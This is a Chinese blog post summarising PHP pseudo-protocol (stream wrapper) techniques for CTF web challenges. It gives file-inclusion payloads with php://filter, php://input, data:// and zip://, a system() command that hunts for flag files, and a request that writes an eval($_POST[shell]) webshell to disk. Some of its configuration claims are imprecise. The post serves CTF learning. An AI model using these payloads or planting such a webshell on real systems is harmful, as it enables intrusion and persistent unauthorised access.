首页 > 编程语言 >CTF比赛中Web的php伪协议类型题小结

CTF比赛中Web的php伪协议类型题小结

时间:2023-07-27 14:22:05浏览次数:35  
标签:Web convert 协议 iconv filter CTF input php

php协议类型

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档

1.php伪协议:

需要开启allow_url_fopen的: php://input、php://stdin、php://memory和php://temp

不需要开启allow_wrl_fopen的: php://filter

在CTF中经常使用的是php://filter和php://input

php://filter用于读取源码   php://input用于执行php代码

php://input需要post请求提交数据

php://filter可以get提交?a=php://filter/read=convert.base64-encode/resource=xxx.php
convert.*过滤器
支持convert.iconv.* 格式,使用方法:

convert.iconv.<input-encoding>.<output-encoding>
 或
convert.iconv.<input-encoding>/<output-encoding> 

例如:

convert.iconv.UCS-4*.UCS-4BE   --->  将指定的文件从UCS-4*转换为UCS-4BE 输出
?filename=php://filter/convert.iconv.a.b/resource=check.php  (a,b 位置是编码格式)

2.data协议

php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码

使用方法:data://text/plain;base64,xxxx(base64编码后的数据)

data伪协议只有在php<5.3且include=on时可以写木马。

3.file协议

file://用于访问本地文件系统

用法: file://[文件的绝对路径和文件名]

#<?php system('find / -name flag*'); ?>

4.zip协议

封装伪协议命令如下:

?cmd=zip://D:\phpstudy\WWW\txt.zip%23zip.txt 

前面是zip文件 后面是zip中的文件

5.input写马

GET /include.php?cmd=php://input HTTP/1.1 (数据包头部)
请求体中增加一句马

<?php fwrite(fopen('exp.php','w'),'<?php eval($_POST[shell]);?>');?>

标签:Web,convert,协议,iconv,filter,CTF,input,php
From: https://www.cnblogs.com/Tzyyyyy/p/17584802.html

相关文章

  • 直播平台软件开发,JavaWeb如何设置定时任务
    直播平台软件开发,JavaWeb如何设置定时任务1.在xml文件中添加监听器 <?xmlversion="1.0"encoding="UTF-8"?><web-appversion="2.4" xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"......
  • 5、开发环境-远程启动Webots
    一、远程启动可以使用ssh(或类似命令)在远程计算机上启动Webot。然而,只有当Webots能够获得与本地运行的X服务器(在同一台计算机上)的X11连接时,它才能工作。当前无法将Webots图形输出重定向到另一台计算机。使用SSH命令以下是从计算机A启动的常用方法,该计算机是将在计算机B上运行的W......
  • web | 在node中使用axios进行同步和异步请求
    web|在node中使用axios进行同步和异步请求最近在看怎么用nodejs整爬虫,摸索一下axios的使用。constaxios=require('axios');//异步写法axios("https://mz1.top") .then(res=>{ console.log("https://mz1.top"); console.log(res.headers); }) .catch(err=>......
  • 两个php代码审计的工具
    来自打那个熊海cms时候发现的大佬文章:https://blog.csdn.net/qq_28624871/article/details/114745946下载地址大佬给了,我就不贴了第一个叫Seay源代码审计系统 不能直接拖文件,感觉这点有点不方便不过分析代码上感觉还可以在左上角的新建项目里选中要审计的代码文件或文件夹......
  • 2、了解Webots的窗口-2
    一、WebotsGUI由四部分组成:1、3D窗口:显示并允许与3D模拟交互的窗口;2、Scenetree:它是当前世界的层次表示;3、Texteditor:允许编辑源码;4、Console:显示编译和控制输出;二、分别介绍一下八个菜单栏1、File:允许执行通常的文件操作,如加载,保存等等2、View:允许控制仿真窗口中的可视......
  • js实现websocket
    import{UserManager}from"@/utils/userManager.js";classwebSocketClass{constructor(url="ws://127.0.0.1:8088/",time=3){this.url=urlthis.filterMessagesList=[""];//服务端返回的内容message事件不监听的内容,不会再message返回......
  • [SWPUCTF 2021 新生赛]babyrce
    [SWPUCTF2021新生赛]babyrce题目来源:nssctf题目类型:web涉及考点:Cookie注入、代码审计1.上来先代码审计<?phperror_reporting(0);header("Content-Type:text/html;charset=utf-8");highlight_file(__FILE__);if($_COOKIE['admin']==1){include"../next.p......
  • WEB自动化-验证码处理
    WEB自动化的过程中遇到验证码的时候,有以下方法:1、Debug模式启动浏览器(浏览器复用)(技术)--推荐2、识别法(技术)--OCR3、接口法(技术):开发人员提供接口,通过这个接口可以获取到图片验证码,只用于测试环境4、移除法(非技术):让开发人员在测似乎环境直接去掉验证码5、暗号法(非技术):万能验证码......
  • PHP 中优雅的将JSON/XML/YAML 等数据反序列化成指定的类对象
    这个小事情何以需要记上一笔?实在是因为当用了各种编程语言以后,发现系统I/O处,尤其对外的接口Interface最重要,它或许可以被称为Specification,规约。PHP是混合型编程风格的语言,不强求完全的OOP。但是代码不OOP化的话,又得不到更多的开发工具的支持。尤其在PHP中如果只是用数组结......
  • 基于PHP的手机销售系统的设计与实现
    完整资料进入【数字空间】查看——搜索"writebug"一、摘要在互联网飞速发展的今天,互联网成为人们快速获取和交换信息的重要渠道。互联网上发布信息主要是通过网站实现,通过网络运营,消费者产生了一种全新的消费方式和购物理念。手机是一种高科技产品,通过手机缩短了人与人之间的距离,人......